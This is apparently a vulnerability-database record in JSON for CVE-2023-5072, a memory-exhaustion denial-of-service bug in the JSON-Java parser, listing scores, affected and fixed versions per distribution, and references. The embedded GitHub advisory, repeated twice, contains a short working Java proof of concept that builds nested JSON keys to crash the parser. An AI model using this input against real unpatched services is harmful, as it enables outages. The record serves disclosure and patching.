{"id":"CVE-2023-5072","aliases":["ALPINE-CVE-2023-5072","CLSA-2025-1761091596","CLSA-2025-1761177997","DEBIAN-CVE-2023-5072","EUVD-2023-2880","GHSA-4jq9-2xhw-jpx7","ROOT-APP-MAVEN-CVE-2023-5072","UBUNTU-CVE-2023-5072"],"status":"published","title":"DoS Vulnerability in JSON-Java","description":"Denial of Service  in JSON-Java versions up to and including 20230618.  A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.01741,"percentile":0.77903,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-358","CWE-770"],"published":"2023-10-12T16:13:27Z","modified":"2026-11-03T06:32:48Z","fixes":[{"ecosystem":"Maven","package":"org.json:json","fixed_in":["20231013"],"sources":["ghsa","osv"]},{"ecosystem":"Alpine:v3.16","package":"openjdk17","fixed_in":["17.0.10_p7-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.17","package":"openjdk17","fixed_in":["17.0.10_p7-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.18","package":"openjdk17","fixed_in":["17.0.10_p7-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.19","package":"openjdk17","fixed_in":["17.0.10_p7-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.20","package":"openjdk17","fixed_in":["17.0.10_p7-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.21","package":"openjdk17","fixed_in":["17.0.10_p7-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.22","package":"openjdk17","fixed_in":["17.0.10_p7-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.23","package":"openjdk17","fixed_in":["17.0.10_p7-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.24","package":"openjdk17","fixed_in":["17.0.10_p7-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.19","package":"openjdk21","fixed_in":["21.0.2_p13-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.20","package":"openjdk21","fixed_in":["21.0.2_p13-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.21","package":"openjdk21","fixed_in":["21.0.2_p13-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.22","package":"openjdk21","fixed_in":["21.0.2_p13-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.23","package":"openjdk21","fixed_in":["21.0.2_p13-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.24","package":"openjdk21","fixed_in":["21.0.2_p13-r0"],"sources":["osv"]},{"ecosystem":"TuxCare:Maven","package":"org.json:json","fixed_in":["20140107-tuxcare.2","20090211-tuxcare.3"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"libjson-java","fixed_in":["3.1.0+dfsg-1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"libjson-java","fixed_in":["3.1.0+dfsg-1"],"sources":["osv"]},{"ecosystem":"Root:Maven","package":"org.json:json","fixed_in":["20220320-aikido.1","20220320-aikido.2"],"sources":["osv"]},{"ecosystem":"Root:Maven","package":"io.root.org.json:json","fixed_in":["20230227-root.io.1","20230227-root.io.2","20230227-root.io.3","20220320-root.io.1","20220320-root.io.2"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Maven","package":"org.json:json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"20230618"},{"fixed":"20231013"}]}]},{"source":"osv","ecosystem":"Alpine:v3.16","package":"openjdk17","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"17.0.10_p7-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.17","package":"openjdk17","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"17.0.10_p7-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.18","package":"openjdk17","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"17.0.10_p7-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.19","package":"openjdk17","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"17.0.10_p7-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.20","package":"openjdk17","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"17.0.10_p7-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.21","package":"openjdk17","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"17.0.10_p7-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.22","package":"openjdk17","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"17.0.10_p7-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.23","package":"openjdk17","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"17.0.10_p7-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.24","package":"openjdk17","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"17.0.10_p7-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.19","package":"openjdk21","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.0.2_p13-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.20","package":"openjdk21","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.0.2_p13-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.21","package":"openjdk21","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.0.2_p13-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.22","package":"openjdk21","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.0.2_p13-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.23","package":"openjdk21","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.0.2_p13-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.24","package":"openjdk21","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.0.2_p13-r0"}]}]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"org.json:json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"20140107"},{"fixed":"20140107-tuxcare.2"}]}],"versions":["20140107","20140107-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"org.json:json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"20090211"},{"fixed":"20090211-tuxcare.3"}]}],"versions":["20090211","20090211-tuxcare.1"]},{"source":"osv","ecosystem":"Debian:12","package":"jenkins-json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4-jenkins-3-7","2.4-jenkins-8+dfsg-1"]},{"source":"osv","ecosystem":"Debian:13","package":"jenkins-json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4-jenkins-8+dfsg-1"]},{"source":"osv","ecosystem":"Debian:14","package":"jenkins-json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4-jenkins-8+dfsg-1"]},{"source":"osv","ecosystem":"Debian:12","package":"libjettison-java","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.5.3-1","1.5.4-1"]},{"source":"osv","ecosystem":"Debian:13","package":"libjettison-java","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.5.4-1"]},{"source":"osv","ecosystem":"Debian:14","package":"libjettison-java","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.5.4-1"]},{"source":"osv","ecosystem":"Debian:12","package":"libjson-java","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4-3.1","3.1.0+dfsg-1","3.1.0+dfsg-2","3.2.0+dfsg-1","3.2.0+dfsg-2"]},{"source":"osv","ecosystem":"Debian:13","package":"libjson-java","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.0+dfsg-1"}]}]},{"source":"osv","ecosystem":"Debian:14","package":"libjson-java","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.0+dfsg-1"}]}]},{"source":"osv","ecosystem":"Maven","package":"org.json:json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20231013"}]}],"versions":["20070829","20080701","20090211","20131018","20140107","20141113","20150729","20151123","20160212","20160807","20160810","20170516","20171018","20180130","20180813","20190722","20200518","20201115","20210307","20211205","20220320","20220924","20230227","20230618"]},{"source":"osv","ecosystem":"Root:Maven","package":"org.json:json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20220320-aikido.1"},{"fixed":"20220320-aikido.2"}]}]},{"source":"osv","ecosystem":"Root:Maven","package":"io.root.org.json:json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20230227-root.io.1"},{"fixed":"20230227-root.io.2"},{"fixed":"20230227-root.io.3"},{"fixed":"20220320-root.io.1"},{"fixed":"20220320-root.io.2"}]}]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"jenkins-json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4-jenkins-3-3","2.4-jenkins-3-4"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"libjettison-java","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.2-3","1.2-3ubuntu0.1~esm1","1.2-3ubuntu0.1~esm2"]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"libjson-java","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.3-3","2.4-1","2.4-2"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"jenkins-json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4-jenkins-3-5"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"libjettison-java","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.2-3","1.4.0-1","1.4.0-1ubuntu0.18.04.1~esm1","1.4.0-1ubuntu0.18.04.1~esm2"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"libjson-java","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4-3"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"jenkins-json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4-jenkins-3-5"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"libjettison-java","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.4.0-1","1.4.0-1ubuntu0.20.04.1","1.4.0-1ubuntu0.20.04.1+esm1"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"libjson-java","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4-3"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"jenkins-json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4-jenkins-3-6"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"libjson-java","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4-3.1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"libjettison-java","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.4.1-1","1.4.1-1ubuntu0.22.04.1","1.4.1-1ubuntu0.22.04.1+esm1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"jenkins-json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4-jenkins-3-7"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"libjettison-java","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.5.4-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"libjson-java","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4-3.1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"jenkins-json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4-jenkins-8+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"libjettison-java","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.5.4-1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"libjson-java","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.0+dfsg-2"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"jenkins-json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4-jenkins-8+dfsg-1build1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"libjettison-java","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.5.4-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"libjson-java","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.2.0+dfsg-2"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"jenkins-json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4-jenkins-8+dfsg-1","2.4-jenkins-8+dfsg-1build1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"libjettison-java","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.5.4-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"libjson-java","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.0+dfsg-2","3.2.0+dfsg-2"]}],"products":[{"vendor":"stleary","product":"json-java"}],"references":[{"url":"https://github.com/stleary/JSON-java/issues/758","tags":["x_transferred","Issue Tracking","report","web"]},{"url":"https://github.com/stleary/JSON-java/issues/771","tags":["x_transferred","Exploit","Issue Tracking","report","web"]},{"url":"http://www.openwall.com/lists/oss-security/2023/12/13/4","tags":["x_transferred","web"]},{"url":"https://security.netapp.com/advisory/ntap-20240621-0007/","tags":["x_transferred","advisory"]},{"url":"https://github.com/google/security-research/security/advisories/GHSA-4jq9-2xhw-jpx7","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-5072","tags":["advisory"]},{"url":"https://github.com/stleary/JSON-java/pull/759","tags":["web"]},{"url":"https://github.com/stleary/JSON-java/commit/60662e2f8384d3449822a3a1179bfe8de67b55bb","tags":["web"]},{"url":"https://github.com/advisories/GHSA-4jq9-2xhw-jpx7"},{"url":"https://security.alpinelinux.org/vuln/CVE-2023-5072","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/5xxx/CVE-2023-5072.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2023-5072","tags":["advisory"]},{"url":"https://github.com/stleary/JSON-java","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2023-5072","tags":["report"]},{"url":"https://github.com/stleary/JSON-java/pull/772/","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2023-5072","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2023-5072","title":"DoS Vulnerability in JSON-Java","description":"Denial of Service  in JSON-Java versions up to and including 20230618.  A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used.","status":"published","published":"2023-10-12T16:13:27.974Z","modified":"2025-02-13T17:19:28.975Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T14:35:17.149492Z"}],"euvd":[{"id":"EUVD-2023-2880","description":"Denial of Service  in JSON-Java versions up to and including 20230618.  A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used.","status":"published","published":"2023-10-12T16:13:27Z","modified":"2025-02-13T17:19:28Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-03T00:03:48.029386Z"}],"ghsa":[{"id":"GHSA-4jq9-2xhw-jpx7","title":"Java: DoS Vulnerability in JSON-JAVA","description":"### Summary\nA denial of service vulnerability in JSON-Java was discovered by [ClusterFuzz](https://google.github.io/clusterfuzz/).  A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used. There are two issues: (1) the parser bug can be used to circumvent a check that is supposed to prevent the key in a JSON object from itself being another JSON object; (2) if a key does end up being a JSON object then it gets converted into a string, using `\\` to escape special characters, including `\\` itself. So by nesting JSON objects, with a key that is a JSON object that has a key that is a JSON object, and so on, we can get an exponential number of `\\` characters in the escaped string.\n\n### Severity\nHigh - Because this is an already-fixed DoS vulnerability, the only remaining impact possible is for existing binaries that have not been updated yet.\n\n### Proof of Concept\n```java\npackage orgjsonbug;\n\nimport org.json.JSONObject;\n\n/**\n * Illustrates a bug in JSON-Java.\n */\npublic class Bug {\n  private static String makeNested(int depth) {\n    if (depth == 0) {\n      return \"{\\\"a\\\":1}\";\n    }\n    return \"{\\\"a\\\":1;\\t\\0\" + makeNested(depth - 1) + \":1}\";\n  }\n\n  public static void main(String[] args) {\n    String input = makeNested(30);\n    System.out.printf(\"Input string has length %d: %s\\n\", input.length(), input);\n    JSONObject output = new JSONObject(input);\n    System.out.printf(\"Output JSONObject has length %d: %s\\n\", output.toString().length(), output);\n  }\n}\n```\nWhen run, this reports that the input string has length 367. Then, after a long pause, the program crashes inside new JSONObject with OutOfMemoryError.\n\n### Further Analysis\nThe issue is fixed by [this PR](https://github.com/stleary/JSON-java/pull/759).\n\n### Timeline\n**Date reported**: 07/14/2023\n**Date fixed**: \n**Date disclosed**: 10/12/2023","status":"published","published":"2023-11-14T22:24:08Z","modified":"2025-08-22T20:55:27Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-358"],"updated_at":"2026-11-02T14:38:54.795089Z"}],"nvd":[{"id":"CVE-2023-5072","description":"Denial of Service  in JSON-Java versions up to and including 20230618.  A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used.","status":"published","published":"2023-10-12T17:15:10.187Z","modified":"2026-06-17T06:47:28.617Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T14:08:37.83429Z"}],"osv":[{"id":"ALPINE-CVE-2023-5072","description":"Denial of Service  in JSON-Java versions up to and including 20230618.  A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used.","status":"published","published":"2023-10-12T17:15:10.187Z","modified":"2026-11-03T06:32:48.948802553Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-03T07:16:46.202932Z"},{"id":"CVE-2023-5072","title":"DoS Vulnerability in JSON-Java","description":"Denial of Service  in JSON-Java versions up to and including 20230618.  A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used.","status":"published","published":"2023-10-12T16:13:27.974Z","modified":"2026-10-28T02:30:52.930189851Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T15:44:35.245372Z"},{"id":"DEBIAN-CVE-2023-5072","description":"Denial of Service  in JSON-Java versions up to and including 20230618.  A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used.","status":"published","published":"2023-10-12T17:15:10.187Z","modified":"2026-10-26T18:03:07.875404844Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:40.586408Z"},{"id":"GHSA-4jq9-2xhw-jpx7","title":"Java: DoS Vulnerability in JSON-JAVA","description":"### Summary\nA denial of service vulnerability in JSON-Java was discovered by [ClusterFuzz](https://google.github.io/clusterfuzz/).  A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used. There are two issues: (1) the parser bug can be used to circumvent a check that is supposed to prevent the key in a JSON object from itself being another JSON object; (2) if a key does end up being a JSON object then it gets converted into a string, using `\\` to escape special characters, including `\\` itself. So by nesting JSON objects, with a key that is a JSON object that has a key that is a JSON object, and so on, we can get an exponential number of `\\` characters in the escaped string.\n\n### Severity\nHigh - Because this is an already-fixed DoS vulnerability, the only remaining impact possible is for existing binaries that have not been updated yet.\n\n### Proof of Concept\n```java\npackage orgjsonbug;\n\nimport org.json.JSONObject;\n\n/**\n * Illustrates a bug in JSON-Java.\n */\npublic class Bug {\n  private static String makeNested(int depth) {\n    if (depth == 0) {\n      return \"{\\\"a\\\":1}\";\n    }\n    return \"{\\\"a\\\":1;\\t\\0\" + makeNested(depth - 1) + \":1}\";\n  }\n\n  public static void main(String[] args) {\n    String input = makeNested(30);\n    System.out.printf(\"Input string has length %d: %s\\n\", input.length(), input);\n    JSONObject output = new JSONObject(input);\n    System.out.printf(\"Output JSONObject has length %d: %s\\n\", output.toString().length(), output);\n  }\n}\n```\nWhen run, this reports that the input string has length 367. Then, after a long pause, the program crashes inside new JSONObject with OutOfMemoryError.\n\n### Further Analysis\nThe issue is fixed by [this PR](https://github.com/stleary/JSON-java/pull/759).\n\n### Timeline\n**Date reported**: 07/14/2023\n**Date fixed**: \n**Date disclosed**: 10/12/2023","status":"published","published":"2023-11-14T22:24:08Z","modified":"2026-09-10T03:50:04.141303603Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-358"],"updated_at":"2026-11-02T15:46:37.148947Z"},{"id":"ROOT-APP-MAVEN-CVE-2023-5072","title":"CVE-2023-5072 in org.json:json - Patched by Root","description":"Root has patched CVE-2023-5072 in the org.json:json package for Root:Maven. Multiple fixed versions available.","status":"published","published":"2026-08-12T12:49:10Z","modified":"2026-08-12T13:45:03.303417222Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:27.066589Z"},{"id":"UBUNTU-CVE-2023-5072","description":"Denial of Service  in JSON-Java versions up to and including 20230618.  A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used.","status":"published","published":"2023-10-12T17:15:00Z","modified":"2026-10-17T12:57:22.860098124Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T16:54:23.935133Z"},{"id":"CLSA-2025-1761091596","title":"TuxCare security update for org.json:json (1 CVE)","description":"TuxCare rebuilt org.json:json to address 1 CVE. Fixed in 20140107-tuxcare.2.","status":"published","published":"2026-08-04T14:52:05Z","modified":"2026-10-15T09:46:11.063417445Z","updated_at":"2026-11-02T15:43:42.427288Z"},{"id":"CLSA-2025-1761177997","title":"TuxCare security update for org.json:json (1 CVE)","description":"TuxCare rebuilt org.json:json to address 1 CVE. Fixed in 20090211-tuxcare.3.","status":"published","published":"2026-08-04T14:52:05Z","modified":"2026-10-15T09:46:12.400123856Z","updated_at":"2026-11-02T15:43:42.427288Z"}]}}